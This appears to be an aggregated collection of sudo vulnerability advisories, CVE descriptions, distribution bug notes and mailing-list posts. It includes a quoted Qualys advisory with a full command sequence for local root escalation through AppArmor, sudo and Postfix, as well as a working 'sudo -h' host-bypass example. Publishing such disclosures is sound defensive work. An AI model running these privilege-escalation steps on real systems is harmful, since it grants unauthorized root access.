In Sudo through 1.9.17p2 before 3e474c2, a failure of a setuid, setgid, or setgroups call, during a privilege drop before running the mailer, is not a fatal error and can lead to privilege escalation.

Admin Framework. A logic issue was addressed with improved checks.

An attacker can leverage sudo's -R (--chroot) option to run arbitrary commands as root, even if they are not listed in the sudoers file. Sudo versions 1.9.14 to 1.9.17 inclusive are affected.

A heap-based buffer overflow was found in the way sudo parses command line arguments.

As per the researcher this vulnerability:

- is exploitable by any local user (normal users and system users, sudoers and non-sudoers), without authentication (i.e., the attacker does not need to know the user's password);

- was introduced in July 2011 (commit 8255ed69), and affects all legacy versions from 1.8.2 to 1.8.31p2 and all stable versions from 1.9.0 to 1.9.5p1, in their default configuration.

This could lead to privilege escalation.

Hi,

On Thu, Mar 12, 2026 at 09:33:57PM +0000, Qualys Security Advisory wrote: [...] AppArmor + Sudo + Postfix = root [...] ======================================================================== AppArmor + Sudo + Postfix = root ========================================================================

Did you get your disconnection notice? Mine came in the mail today -- Sonic Youth, "Disconnection Notice"

As an unprivileged local attacker, the ability to load, replace, and remove arbitrary AppArmor profiles is remarkable, but our crucial and burning question was: can this ability be transformed into an LPE to full root privileges? Our key idea was to load new AppArmor profiles that deny certain syscalls to certain privileged programs, and consequently to create exploitable "fail-open" situations.

From our work on Baron Samedit, we remembered that when Sudo encounters an unusual situation, it sends a mail to the system's administrator. And to send such a mail on Ubuntu, Sudo executes /usr/sbin/sendmail as our unprivileged user, not as root, with our original environment variables preserved (excluding the obviously dangerous variables such as LDAUDIT and LDPRELOAD, which were removed from the environment by the dynamic loader, ld.so, before the execution of Sudo's main() function).

From CVE-2002-0043:

https://www.sudo.ws/security/advisories/postfix/ (by Sebastian Krahmer)

we also remembered that if the Postfix mail server is installed on the system, and if Postfix's /usr/sbin/sendmail is executed as root but with user-controlled environment variables (in particular, the MAILCONFIG environment variable), then Postfix can be forced by the unprivileged user into executing arbitrary commands as root.

Our burning question therefore became: if we, as an unprivileged local attacker, load a new AppArmor profile that denies the setuid capability (CAPSETUID) to Sudo (thereby potentially preventing Sudo from dropping its root privileges before it executes Postfix's /usr/sbin/sendmail), and if we execute Sudo with a MAILCONFIG environment variable that points to our own Postfix configuration in /tmp, is the /usr/bin/id command from our Postfix configuration executed as root? The answer:

------------------------------------------------------------------------ $ grep PRETTYNAME= /etc/os-release PRETTYNAME="Ubuntu 24.04.3 LTS"

$ id uid=1001(jane) gid=1001(jane) groups=1001(jane),100(users)

$ dpkg -S /usr/sbin/sendmail postfix: /usr/sbin/sendmail

$ mkdir /tmp/postfix

$ cat > /tmp/postfix/main.cf << "EOF" commanddirectory = /tmp/postfix EOF

$ cat > /tmp/postfix/postdrop << "EOF" #!/bin/sh /usr/bin/id >> /tmp/postfix/pwned EOF

$ chmod -R 0755 /tmp/postfix

$ apparmorparser -K -o sudo.pf << "EOF" /usr/bin/sudo { allow file, allow signal, allow network, allow capability, deny capability setuid, } EOF

$ su -P -c 'stty raw && cat sudo.pf' "$USER" > /sys/kernel/security/apparmor/.replace Password:

$ env -i MAILCONFIG=/tmp/postfix /usr/bin/sudo whatever sudo: PERMSUDOERS: setresuid(-1, 1, -1): Operation not permitted sudo: unable to open /etc/sudoers: Operation not permitted sudo: setresuid() [0, 0, 0] -> [1001, -1, -1]: Operation not permitted sudo: error initializing audit plugin sudoersaudit

$ cat /tmp/postfix/pwned uid=0(root) gid=1001(jane) groups=1001(jane),100(users) ^^^^^^^^^^^ ------------------------------------------------------------------------

The surprising sequence of events that led to this LPE as root is:

- in sudoersinit(), Sudo calls setresuid(0, -1, -1) to set its real uid to 0 (PERMROOT), which succeeds because its effective and saved uids are already 0 (Sudo is SUID-root);

- in opensudoers() (more precisely, in openfile()), Sudo calls setresuid(-1, 1, -1) to temporarily set its effective uid to 1 (PERMSUDOERS), which fails (with EPERM, "Operation not permitted") because none of Sudo's uids is 1 (they are all 0) and because Sudo does not have the CAPSETUID (our AppArmor profile denies it);

- back in sudoersinit(), Sudo calls mailparseerrors() to send a mail to the administrator about this setresuid() failure ("problem parsing sudoers", "unable to open /etc/sudoers: Operation not permitted");

- then, in execmailer(), Sudo calls setuid(0) (at line 331 below) to set all of its uids to 0, which succeeds because they are already 0;

- still in execmailer(), Sudo calls setuid(1001) (at line 336) to permanently set all of its uids to our unprivileged user's uid, which fails (with EPERM, "Operation not permitted") because none of Sudo's uids is 1001 (they are all 0) and because Sudo does not have the CAPSETUID (our AppArmor profile denies it);

- finally, and despite this setuid() failure, Sudo's execmailer() calls execv() (at line 345) to execute Postfix's /usr/sbin/sendmail with our original environment variables (including our MAILCONFIG), as root instead of our unprivileged user (because the setuid(1001) to drop Sudo's root privileges failed).

------------------------------------------------------------------------ 284 execmailer(int pipein) ... 327 / 328 Depending on the config, either run the mailer as root 329 (so user cannot kill it) or as the user (for the paranoid). 330 / 331 if (setuid(ROOTUID) != 0) { 332 sudodebugprintf(SUDODEBUGERROR, "unable to change uid to %u", 333 ROOTUID); 334 } 335 if (evlconf->mailuid != ROOTUID) { 336 if (setuid(evlconf->mailuid) != 0) { 337 sudodebugprintf(SUDODEBUGERROR, "unable to change uid to %u", 338 (unsigned int)evlconf->mailuid); 339 } 340 } ... 342 if (evlconf->mailuid == ROOTUID) 343 execve(mpath, argv, (char )rootenvp); 344 else 345 execv(mpath, argv); ------------------------------------------------------------------------

Note: without the ability to load an AppArmor profile that denies the CAPSETUID to Sudo, this "fail-open" situation in Sudo would not be exploitable, for the reasons explained in the "execve() and EAGAIN" section of "man execve".

Last-minute note: while writing a mail to Sudo's maintainer about this "fail-open" situation, we noticed that it was independently discovered, reported, and fixed in November 2025 (commit 3e474c2):

------------------------------------------------------------------------ execmailer: Set group as well as uid when running the mailer Also make a setuid(), setgid() or setgroups() failure fatal. Found by the ZeroPath AI Security Engineer <https://zeropath.com> ------------------------------------------------------------------------

Slightly disappointed by this user-space LPE (because Postfix is not installed by default on Ubuntu anymore), we decided to explore one more idea: maybe AppArmor's kernel code contains vulnerabilities that can be exploited in kernel space by loading, replacing, or removing arbitrary AppArmor profiles? To close the circle here: sudo has a own CVE for the issue addressed above, it is CVE-2026-35535.

https://www.cve.org/CVERecord?id=CVE-2026-35535

Regards, Salvatore

Sudo's host (-h or --host) option is intended to be used in conjunction with the list option (-l or --list) to list a user's sudo privileges on a host other than the current one. However, due to a bug it was not restricted to listing privileges and could be used when running a command via sudo or editing a file with sudoedit. Depending on the rules present in the sudoers file this could allow a local privilege escalation attack.

An attacker can leverage sudo's -R (--chroot) option to run arbitrary commands as root, even if they are not listed in the sudoers file. Sudo versions 1.9.14 to 1.9.17 inclusive are affected.

Damien Miller <djm () mindrot org> wrote: On Wed, 24 Sep 2025, Adiletta, Andrew wrote: Hi Alexander and Team,

Thank your for the interest in our paper, and we appreciate all the feedback. We wanted to address two points - the OpenSSH CVE, and the comments from the OpenSSH community about the practicality of the attack.

On CVE-2023-51767 (OpenSSH), we did not submit this CVE. Our team coordinates with vendors / software mantainers before submitting CVEs to make sure there is agreement. The CVE description does seem mischaracterized, as this is not a zero-click type vulnability as the CVE suggests, and we would not oppose either a revision or other action. We did work with Todd Miller on a SUDO CVE (CVE-2023-42465), of which we worked with him to release a patch.

However, on the practicality, I do believe that we did not mischaracterize the attack in the paper, and as Alexander concisely mentioned, we are really trying to emphasize the issues with simple 0/1 flag logic that leads down to sensitive execution flows. Sure, but my criticism at the time was that your paper claimed in the abstract to have successfully attacked OpenSSH to bypass authentication but what was actually attacked was a modified version of sshd run in a highly unrealistic and synchronised setting.

IMO this context matters and doesn't detract from your findings. Andrew, I think you should answer Damien's comment.

I'm a bit more cynical, and think this is very close to open source community engagement malpractice -- where you picked projects specifically to increase readership of your paper, and went through the effort to construct synthetic justification, and I think you should consider issuing an official apology and/or official retraction of those statements about OpenSSH being vulnerable. There you have it, that's my opinion on this.

An attacker can leverage sudo's -R (--chroot) option to run arbitrary commands as root, even if they are not listed in the sudoers file.

Sudo versions affected:

Sudo versions 1.9.14 to 1.9.17 inclusive are affected.

CVE ID:

This vulnerability has been assigned CVE-2025-32463 in the Common Vulnerabilities and Exposures database.

Details:

Sudo's -R (--chroot) option is intended to allow the user to run a command with a user-selected root directory if the sudoers file allows it. A change was made in sudo 1.9.14 to resolve paths via chroot() using the user-specified root directory while the sudoers file was still being evaluated. It is possible for an attacker to trick sudo into loading an arbitrary shared library by creating an /etc/nsswitch.conf file under the user-specified root directory.

The change from sudo 1.9.14 has been reverted in sudo 1.9.17p1 and the chroot feature has been marked as deprecated. It will be removed entirely in a future sudo release. Because of the way sudo resolves commands, supporting a user-specified chroot directory is error-prone and this feature does not appear to be widely used.

A more detailed description of the bug and its effects can be found in the Stratascale advisory: https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot

Impact:

On systems that support /etc/nsswitch.conf a user may be able to run arbitrary commands as root.

Fix:

The bug is fixed in sudo 1.9.17p1.

Credit:

Thanks to Rich Mirch from Stratascale Cyber Research Unit (CRU) for reporting and analyzing the bug. The Stratascale advisory can be found at: https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot

Sudo's host (-h or --host) option is intended to be used in conjunction with the list option (-l or --list) to list a user's sudo privileges on a host other than the current one. However, due to a bug it was not restricted to listing privileges and could be used when running a command via sudo or editing a file with sudoedit. Depending on the rules present in the sudoers file this could allow a local privilege escalation attack.

Sudo versions affected:

Sudo versions 1.8.8 to 1.9.17 inclusive are affected.

CVE ID:

This vulnerability has been assigned CVE-2025-32462 in the Common Vulnerabilities and Exposures database.

Details:

The intent of sudo's -h (--host) option is to make it possible to list a user's sudo privileges for a host other than the current one. It was only intended be used with in conjunction with the -l (--list) option.

The bug effectively makes the hostname portion of a sudoers rule irrelevant since the user can set the host to be used when evaluating the rules themselves. A user must still be listed in the sudoers file, but they do not needed to have an entry for the current host.

For example, given the sudoers rule:

alice cerebus = ALL

user alice would be able to run "sudo -h cerebus id" on any host, not just cerebus. For example:

alice@hades$ sudo -l Sorry, user alice may not run sudo on hades.

alice@hades$ sudo -l -h cerebus User alice may run the following commands on cerebus: (root) ALL

alice@hades$ sudo -h cerebus id uid=0(root) gid=0(root) groups=0(root)

Impact:

Sudoers files that include rules where the host field is not the current host or "ALL" are affected. This primarily affects sites that use a common sudoers file that is distributed to multiple machines. Sites that use LDAP-based sudoers (including SSSD) are similarly impacted.

For example, a sudoers rule such as:

bob ALL = ALL

is not affected since the host "ALL" already matches any hosts, but a rule like:

alice cerebus = ALL

could allow user alice to run any command even if the current host is not cerebus.

Fix:

The bug is fixed in sudo 1.9.17p1.

Credit:

Thanks to Rich Mirch from Stratascale Cyber Research Unit (CRU) for reporting and analyzing the bug. The Stratascale advisory can be found at: https://www.stratascale.com/vulnerability-alert-CVE-2025-32462-sudo-host

DISPUTED In Sudo through 1.8.29, the fact that a user has been blocked (e.g., by using the ! character in the shadow file instead of a password hash) is not considered, allowing an attacker (who has access to a Runas ALL sudoer account) to impersonate any blocked user. NOTE: The software maintainer believes that this CVE is not valid. Disabling local password authentication for a user is not the same as disabling all access to that user--the user may still be able to login via other means (ssh key, kerberos, etc). Both the Linux shadow(5) and passwd(1) manuals are clear on this. Indeed it is a valid use case to have local accounts that are only accessible via sudo and that cannot be logged into with a password. Sudo 1.8.30 added an optional setting to check the shell of the target user (not the encrypted password!) against the contents of /etc/shells but that is not the same thing as preventing access to users with an invalid password hash.

DISPUTED In Sudo through 1.8.29, an attacker with access to a Runas ALL sudoer account can impersonate a nonexistent user by invoking sudo with a numeric uid that is not associated with any user. NOTE: The software maintainer believes that this is not a vulnerability because running a command via sudo as a user not present in the local password database is an intentional feature. Because this behavior surprised some users, sudo 1.8.30 introduced an option to enable/disable this behavior with the default being disabled. However, this does not change the fact that sudo was behaving as intended, and as documented, in earlier versions.

Our recent paper<https://arxiv.org/pdf/2309.02545.pdf> [AsiaCCS'24] describes a potential vulnerability where stack/register variables can be flipped via fault injection, affecting execution flow in security-sensitive code. There are mitigation strategies you may be interested in incorporating into your code:

Take this vulnerable code, for example:

int auth = 0;

//password check code that sets auth variable

if(auth != 0)

return AUTHSUCCESS;

else

return AUTHFAILURE;

The idea is that any bit can be flipped in auth, and it will result in a mis-authentication. We prove this is a potential vulnerability in OpenSSH, OpenSSL, MySQL, and SUDO. To mitigate this, it is important to have tight logic such that a single-bit flip will not result in unintended execution. For example:

int auth = 0xbe405d1a;

// password check code that sets auth variable to 0x23ab9701 is successful

If(auth == 0x23ab9701)

return AUTHSUCCESS;

else

return AUTHFAILURE;

In this case, the auth variable must be corrupted into the exact authentication pattern, which is fairly improbable.

We issued CVE-2023-42465 for SUDO for this vulnerability.

Here is the patch implemented in v1.9.15.

https://github.com/sudo-project/sudo/commit/7873f8334c8d31031f8cfa83bd97ac6029309e4f

Paper link: https://arxiv.org/abs/2309.02545

Caner Tol Worcester Polytechnic Institute https://vernamlab.org<https://vernamlab.org/>

Anders Kaseorg and Evan Broder reported a flaw in the way sudo handled duplicated environment variables. When sudo set certain environment variables (such as PATH set to securepath value, or special sudo environment variables SUDO), the value overwrote first value from user's environment (if it had been preserved and had not removed previously due to envreset / envkeep / envdelete settings), but left following environment variables with the same name unchanged.

This problem can be used to override securepath setting from /etc/sudoers file for shell scripts executed using sudo, as bash uses last PATH environment variable value. In configurations where securepath is used to enforce sane PATH setting for shell scripts, this can allow users with the privileges to run some script using sudo to run arbitrary command with the privileges of the target user.

Upstream fixes to handle duplicated environment variables: http://www.sudo.ws/repos/sudo/rev/3057fde43cf0 http://www.sudo.ws/repos/sudo/rev/a09c6812eaec

This issue affects sudo packages shipped in Red Hat Enterprise Linux 5, however not the default configuration. In default configuration, no securepath is set. envreset is used by default, and PATH is not preserved during the environment reset (unlike the upstream sudo default).

The sudo packages in Red Hat Enterprise Linux 3 and 4 do not allow setting securepath in the /etc/sudoers, there is no compile-time default for the securepath either. Whether the user PATH setting is preserved depends on envreset / envdelete configuration.

Current Fedora configuration specifies securepath, but also removes PATH from the environment by default.

A security flaw was found in the way Sudo performed matching for user described by a password against the list of members, allowed to run particular sudo command, when the group option was specified on the command line. If a local, unprivileged user was authorized by sudoers file to run their sudo commands with permissions of a particular group (different to their own), it could lead to privilege escalation (execution of that sudo command with permissions of privileged user account (root)).

Acknowledgements:

Red Hat would like to thank Markus Wuethrich of Swiss Post - PostFinance for reporting this issue.

Sudo 1.8.0 through 1.9.12, with the crypt() password backend, contains a plugins/sudoers/auth/passwd.c array-out-of-bounds error that can result in a heap-based buffer over-read. This can be triggered by arbitrary local users with access to Sudo by entering a password of seven characters or fewer. The impact could vary depending on the compiler and processor architecture.

Sudo failed to properly reset group permissions, when "runasdefault" option was used. If a local, unprivileged user was authorized by sudoers file to perform their sudo commands under default user account, it could lead to privilege escalation.

Upstream bug report: http://www.gratisoft.us/bugzilla/showbug.cgi?id=349

Upstream patch: http://www.gratisoft.us/bugzilla/attachment.cgi?id=255

Due to upstream changes in how sudo 1.7.3 handles group membership checks, the patch used to correct bug #235915 (sudo can't always correctly determine group memberships) was incorrectly rediffed, making sudo in Fedora once again vulnerable to CVE-2009-0034 (incorrect handling of groups in RunasUser).

Statement:

Not vulnerable. This issue did not affect the versions of sudo as shipped with Red Hat Enterprise Linux 4, 5, or 6.

A vulnerability in functionality for adding support of SHA-2 digests along with the command was found. The sudoers plugin performs this digest verification while matching rules, and later independently calls execve() to execute the binary. This results in a race condition if the digest functionality is used as suggested (in fact, the rules are matched before the user is prompted for a password, so there is not negligible time frame to replace the binary from underneath sudo). Versions affected are since 1.8.7.

CVE assignment:

http://seclists.org/oss-sec/2015/q4/327

It was discovered that sudo's sudoers file parses does not correctly handle group specification in RunasUser. If group was specified in the list (using syntax %group, to allow some user to run commands as any member of the group) and the user was already member of the group, sudo actually allowed the user to run commands as arbitrary system user.

SuSE and upstream bug report: https://bugzilla.novell.com/showbug.cgi?id=468923 http://www.gratisoft.us/bugzilla/showbug.cgi?id=327

This issue was confirmed on multiple 1.6.9 sudo versions. Latest upstream 1.7.0 was reported not to be affected, 1.6.8p12 previously shipped with Red Hat Enterprise Linux 5 was not affected as well. Problem was confirmed on 1.6.9p17 in RHEL5 and Fedora 10.

Upstream patch:

Index: parse.c =================================================================== RCS file: /home/cvs/courtesan/sudo/parse.c,v retrieving revision 1.160.2.21 diff -u -r1.160.2.21 parse.c --- parse.c 2 Nov 2008 14:35:53 -0000 1.160.2.21 +++ parse.c 23 Jan 2009 19:16:55 -0000 @@ -651,9 +651,11 @@ / If the user has a supplementary group vector, check it first. / - for (i = 0; i < userngroups; i++) { - if (grp->grgid == usergroups[i]) - return(TRUE); + if (strcmp(user, username) == 0) { + for (i = 0; i < userngroups; i++) { + if (grp->grgid == usergroups[i]) + return(TRUE); + } } if (grp->grmem != NULL) { for (cur = grp->grmem; cur; cur++) {